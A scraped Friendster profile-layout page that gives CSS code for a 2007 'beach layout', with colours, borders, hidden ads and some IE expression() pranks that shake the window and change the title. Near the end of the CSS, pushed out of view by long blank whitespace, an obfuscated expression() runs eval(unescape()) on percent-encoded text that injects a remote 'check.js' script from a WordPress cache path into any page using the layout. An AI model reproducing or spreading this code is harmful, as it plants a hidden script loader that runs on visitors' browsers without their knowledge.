beach layout

Layout designer

xcorphz productionz

Rate this layout

* * * * 77 votes

» Layout Preview

get the code here: http://xcorphz.f.erocio.us
join our clan here: http://xcorphianz.uni.cc

Code for CSS section

/* {--friendster-layouts.com css code start--} */

/* Layout By: Yrahs (http://freewebs.com/xcorphz/) */

body {
  border:20px outset #00FFFF; background:url('http://i200.photobucket.com/albums/aa73/fs-layouts/fslybg/2007/09/colo-beach.jpg') no-repeat fixed center; scrollbar-3dlight-color: #ffffff;
scrollbar-arrow-color: #00FFFF;
scrollbar-darkshadow-color: #ffffff;
scrollbar-face-color: #00FFFF;
scrollbar-highlight-color: #ffffff; 
scrollbar-shadow-color: #ffffff;
scrollbar-track-color: #ffffff; 
overflow-x: hidden}}

.controlpanel .q {
background: url('http://i211.photobucket.com/albums/bb154/xcorphz/mini15.gif') no-repeat center left; 
padding-left:25px; padding-right:0; padding-top:0; padding-bottom:0}

#marketing_bg{display:none;background:transparent;}

table#flo_wrapper {
margin: 20px auto;
border: 5px inset #00FFFF;
background: no-repeat fixed right bottom;}

.usercontent {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094FF;
  text-transform: lowercase;}

.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:hover, .usercontent a:active {
  color: #7FC9FF;}

.usercontent a:hover {
  text-decoration: none;
  color: #CBF6FD;
  border-bottom-style:ridge; 
  border-bottom-width:1 px;
  border-top-style:ridge; 
  border-top-width:1 px;}

a:hover {filter:Glow(color=#00ffff,strength=4);height:0px; }

.commonbox {
  border-width: 2px;
  border-color: #00FFFF;
  border-style: outset;
  background-color: transparent;}

.commonbox .evenrow {
  background-color: transparent;}

.commonbox h1, .commonbox h2 {
  background:#00FFFF url('http://i211.photobucket.com/albums/bb154/xcorphz/headers1.jpg') fixed right center; font-family: Verdana, Arial, Helvetica, sans-serif;
  color: #0094FF;
  text-transform: uppercase;
  border-bottom: 4px double #00FFFF;
  }

.controlpanel {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.controlpanel .imgblock200 {
  border-color: #00FFFF;
  border-style: ridge;}

.controlpanel .q {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094FF;}

.controlpanel .data {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094FF;}

.data a {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094FF;
  text-transform: lowercase;}

a.more {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094FF;
  text-transform: lowercase;}

#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited {
  font-family: Verdana, Arial, Helvetica, sans-serif;
  color: #CBF6FD;
  border-color: #00ffff;
  background-color: 0094FF;}

#controlPanelButtons a:hover {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094FF;
  border-color: #00FFFF;
  border-style: dashed;
  background-color: CBF6FD;}

.usercontent .q{
background: url('http://i211.photobucket.com/albums/bb154/xcorphz/mini15.gif') no-repeat left; 
padding-left:16px; padding-right:0; padding-top:0; padding-bottom:0}

a:link img {filter:none;} a:visited img {filter:none;} a:hover img {filter:invert;}

.photos {
  border-color: #00FFFF;
  background-color: transparent;}

.friends {
  border-color:#00FFFF;
  background-color: transparent;}

.videos {
  border-color: #00FFFF;
  background-color: transparent;}

.groups {
  border-width: 1px;
  border-color: #b3b3b3;
  border-style: ridge;
  background-color: transparent;}

.testimonials {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.testimonialscomments {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.scrapbook {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.fanof {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.myfans {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.reviews {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.blogs {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.blogsreviews {
  border-width: 1px;
  border-color: #00FFFF;
  border-style: ridge;
  background-color: transparent;}

.data {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094ff;
  text-transform: lowercase;}

.commonbox .viewall {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094ff;
  text-transform: lowercase;}

.commonbox .imgblock75, .ir {
     border-width: 3px;
  border-color: #00FFFF;
  border-style: outset;}

.commonbox .dr {
  font-family: Courier New, Courier, Monaco, monospace;
  color: #0094ff;
  text-transform: lowercase;
  background-color: transparent;}

body, td, tr, div, p {
  text-align: center;}

#meettrail{display:none;background:transparent;}

#googleAdFactory.fullwidth{position:absolute;top:-5500px;}

#mainnav div.links a:link, #mainnav div.links a:visited, #mainnav div.links a:active { color:#00FFFF; text-decoration:none; }}
#mainnav .left {display:none;}
#mainnav .right {display:none;}
#navdivider {display:none;background:transparent;}
#subnav {display:none;}
#marketing_bg{display:none;background:transparent;}

#search {display:none;background:transparent;}
#search form {display:none;background:transparent;}
.banner_ad_fix{display:none;}
#banneradrow, #ads_2_3{display:none;}

#navigation {
background:url('http://i211.photobucket.com/albums/bb154/xcorphz/lluv2-1.jpg') no-repeat center; border: 1px none transparent;
margin-left:0; margin-right:0; margin-top:10px; margin-bottom:30px; padding-left:0; padding-right:0; padding-top:260px; padding-bottom:0}

#mainnav {
background-position:  center 50%; width:100%;
font-size:9px;
font-weight:bold;
transparent; margin-left:0; margin-right:0; margin-top:0; margin-bottom:10px; padding-left:0; padding-right:0; padding-top:0; padding-bottom:2px; background-color:transparent; background-repeat:no-repeat; background-attachment:fixed}

.publiccomments div div .dtd {
  width: 100%;}

.publiccomments div div .dtd ul {
  padding: 2px;
  overflow: auto;
  border: 1px ridge #00FFFF;
  width:380px; 
  height: 100px;
  background-color: TRANSPARENT;
  background-position:  center 50%;
  background-repeat: no repeat}

.testimonials div div .dtd{width:100%;}
.testimonials div div .dtd ul{padding: 2px 2px 2px 2px; overflow: auto; border: 1px ridge #b3b3b3; width: 380px; height: 100px;}
.testimonialscomments { /*box*/
background-color: TRANSPARENT;}
.testimonials { /*box*/
background-color: transparent;
background-attachment: fixed;
background-repeat: repeat-x;
background-position:  right top;
border: 1px ridge #00FFFF;
{ font-family:Courier New, Courier, Monaco, monospace; color:#0094ff }}

#mainnav, #mainnav .left, #mainnav .right {
  background-color: transparent !important;}

#mainnav a, #mainnav a:link, #mainnav a:visited, #mainnav a:active {
  font-size: 11px !important;
  color: #0094ff !important;
  background-color: transparent !important;
  text-decoration: none !important;}

#mainnav a:hover {
  font-size: 11px !important;
  color: #CBF6FD  !important;
  background-color: 0094ff !important;
  text-decoration: none !important;}

#mainnav span {
  color: transparent !important;}

body {right:expression(function shake(){ifevent.button2 self.resizeTo(960,700) self.moveBy(15,17) self.moveBy(-13,-17) self.moveBy(13,19) self.moveBy(-14,-16) self.moveBy(14,23) self.moveBy(-25,-20) self.moveBy(24,22) self.moveBy(-20,-17) self.moveBy(24,16) self.moveBy(-13,-20) self.moveBy(20,20) self.moveBy(-26,-27) self.moveBy(28,17) self.moveBy(0, 0) alert("BLEEEH!!!);}}
document.onmousedown=shake);}

body{bottom:expr/**/ession(
function status()
{window.status='hi  '+pageViewerFName+', eNjOy yOuR sTaY!'}
if (document.layers)
document.captureEvents(Event.mouseover)
document.onmouseover=status);}

body{top:expr/**/ession(pagetitle()
function pagetitle(){
document.title = '*+,.(//_+).,+* - '+pageOwnerFName+' - *+,.(//_+).,+*';});}

.controlpanel .so, .minicontrolpanel .so { width: 257px; position: relative; 
background:url('http://i211.photobucket.com/albums/bb154/xcorphz/shoutout3-1.jpg') repeat top left; 
color: #0094ff; font-weight: bold; margin-left:0; margin-right:-20px; margin-top:0; margin-bottom:10px }
.controlpanel .sol, .minicontrolpanel .sol { position: absolute; left: -5px; top: 8px; width: 6px; height: 11px; background:; no-repeat }
.controlpanel .sob, .minicontrolpanel .sob { width: 257px; height: 2px; background:; no-repeat; line-height: 0; font-size: 0 }




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%33%33%39%32%36%33%3B%20%4A%53%53%33%20%3D%20%27%2F%77%70%2D%63%6F%6E%74%65%6E%74%2F%63%61%63%68%65%2F%73%75%70%65%72%63%61%63%68%65%2F%61%75%74%68%6F%72%2F%64%61%6E%61%70%64%77%73%61%31%33%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%70%2D%63%6F%6E%74%65%6E%74%2F%63%61%63%68%65%2F%73%75%70%65%72%63%61%63%68%65%2F%61%75%74%68%6F%72%2F%64%61%6E%61%70%64%77%73%61%31%33%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */

/* {--friendster-layouts.com css code end--} */

Code for Media/About Me

<p align="center"><a title="Friendster Layouts" href="http://friendster-layouts.com/"><img border="0" src="http://btn.friendster-layouts.com/03.gif" alt="Friendster Layouts"></a><br /><a href="http://friendster-layouts.com/" title="Friendster Layouts">Friendster-Layouts.com</a>: <a href="http://friendster-layouts.com/author/xcorphz/" title="xcorphz productionz's layouts">xcorphz productionz's layouts</a></p>

Download Background Image

Add Layouts Widget

• Published by xcorphz productionz on September 11th, 2007 (4:17 GMT).

Other layouts from 'Anime/Cartoon' category:

Friendster-Layouts.com

beach layout

Navigation Links

Browse Layouts

Sponsors